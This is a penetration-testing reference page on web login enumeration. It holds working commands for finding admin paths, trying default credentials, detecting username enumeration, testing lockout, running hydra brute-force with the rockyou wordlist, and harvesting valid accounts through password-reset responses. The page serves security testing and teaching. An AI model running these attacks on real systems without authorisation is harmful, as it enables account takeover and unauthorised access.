# Login Page Enumeration

> Identifies valid usernames & accounts via login page responses, error messages, timing differences, and behavioral analysis on web authentication endpoints.

- **URL:** https://hackindex.io/services/web/enumeration/login-page-enumeration
- **Path:** HTTP/HTTPS > Enumeration
- **Up:** [Enumeration](https://hackindex.io/services/web/enumeration.md)
- **Published:** 2026-03-28
- **Updated:** 2026-06-21

Login page enumeration maps all authentication entry points on the target, identifies what mechanism each uses, and assesses whether default credentials or weak authentication controls are in play. Run this after [content discovery](https://hackindex.io/services/web/enumeration/content-discovery) gives you a full path list. Authentication surfaces found here feed into credential attacks and authentication bypass testing.

## Login Page Enumeration with Directory Scanning

Probe common authentication paths alongside content discovery results:

```bash
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://$TARGET_IP:$PORT/FUZZ -mc 200,301,302,401 | grep -iE 'login|admin|auth|signin|portal|console|manage'
```

```bash
for path in /login /admin /admin/login /administrator /auth /signin /portal /console /manage /user/login /wp-admin /phpmyadmin /cpanel /webmail; do code=$(curl -skI http://$TARGET_IP:$PORT$path | grep HTTP | awk '{print $2}'); echo "$code $path"; done
# 200 /login
# 302 /admin
# 200 /administrator
# 404 /auth
```

## Identify Authentication Mechanism

Determine what type of authentication is in use (form-based, HTTP Basic, NTLM, or API token) before attempting anything:

```bash
curl -skI http://$TARGET_IP:$PORT/admin/ | grep -iE 'www-authenticate|set-cookie|location|content-type'
# WWW-Authenticate: Basic realm="Admin Area"
```

Common authentication mechanisms and how to identify them:

- `WWW-Authenticate: Basic` in the response: HTTP Basic auth, credentials go in the Authorization header
- `WWW-Authenticate: NTLM` or `Negotiate`: Windows/AD authentication
- 200 response with a form in the body: form-based login, inspect field names for hydra
- 302 redirect to a login URL with a Set-Cookie header: session-based auth with redirect guard
- 401 with no WWW-Authenticate: custom token or API key auth, check for Authorization or X-API-Key headers

## Test Default Credentials

Before any brute force, manually try common defaults matched to the identified platform:

#### HTTP Basic Auth

```bash
for cred in admin:admin admin:password admin:123456 admin: root:root root:toor; do echo -n "$cred: "; curl -sk -u $cred http://$TARGET_IP:$PORT/admin/ -o /dev/null -w '%{http_code}'; echo; done
# admin:admin: 200
# admin:password: 401
```

#### Form-Based Login

```bash
curl -sk -c /tmp/cookies.txt http://$TARGET_IP:$PORT/login -X POST -d 'username=admin&password=admin' -L | grep -i 'welcome\|dashboard\|logout\|invalid\|error'
```

## Assess Username Enumeration

Check whether the login form gives different responses for valid versus invalid usernames. Send a request with a likely-valid username and one with a random string:

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/login -d 'username=admin&password=wrongpassword' | grep -iE 'invalid|error|incorrect|not found'
# Invalid password for user admin
```

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/login -d 'username=randomxyz123&password=wrongpassword' | grep -iE 'invalid|error|incorrect|not found'
# Invalid username or password
```

Different error messages between the two requests confirm username enumeration. The first message reveals the account exists while the second is generic: this lets you enumerate valid usernames before password attacks.

## Check Lockout Behavior

Send several failed attempts and check whether the account locks or responses change. This determines whether credential spraying is viable:

```bash
for i in $(seq 1 6); do echo -n "Attempt $i: "; curl -sk -X POST http://$TARGET_IP:$PORT/login -d 'username=admin&password=wrongpass' -o /dev/null -w '%{http_code}'; echo; sleep 1; done
# Attempt 1: 200
# Attempt 2: 200
# Attempt 3: 200
# Attempt 4: 200
# Attempt 5: 200
# Attempt 6: 429
```

A 429 or redirect to a CAPTCHA after several attempts means rate limiting is active. No change after many attempts means brute force is viable. A 302 to an account locked page means lockout is enforced: reduce attempts per account or switch to password spraying with a single password across many users.

## Credential Spraying with hydra

When lockout behavior is confirmed and spraying is viable, use hydra against form-based login. Identify the correct parameter names from the form source first:

```bash
curl -sk http://$TARGET_IP:$PORT/login | grep -iE 'input|form|action' | head -20
```

```bash
hydra -l admin -P /usr/share/wordlists/rockyou.txt $TARGET_IP http-post-form "/login:username=^USER^&password=^PASS^:Invalid password" -t 10
```

## Username Enumeration via Password Reset

When the login form returns a uniform error, the forgot-password and registration endpoints often do not. A reset request for an existing account commonly returns a different status code or body than one for an account that does not exist, for example `201` or `200` with a confirmation versus `404` or a validation error. Probe a known-bad username against a candidate and compare the status codes:

```bash
curl -sk -o /dev/null -w 'admin -> %{http_code}\n' -X POST http://$TARGET_IP:$PORT/forgot-password -d 'email=admin@$DOMAIN'
curl -sk -o /dev/null -w 'random -> %{http_code}\n' -X POST http://$TARGET_IP:$PORT/forgot-password -d 'email=doesnotexist@$DOMAIN'
# admin -> 201
# random -> 404
```

Different codes confirm the endpoint discloses account existence. Drive a wordlist through it to collect valid accounts, then take them to password spraying. If the status codes match, compare response bodies and response times, since some apps leak existence through a slower path when they actually send mail:

```bash
while read u; do code=$(curl -sk -o /dev/null -w '%{http_code}' -X POST http://$TARGET_IP:$PORT/forgot-password -d "email=$u@$DOMAIN"); echo "$code $u"; done < users.txt | grep '^201'
```

## References

- [hydra](https://github.com/vanhauser-thc/thc-hydra) - Network login brute force tool supporting HTTP form-based and Basic auth
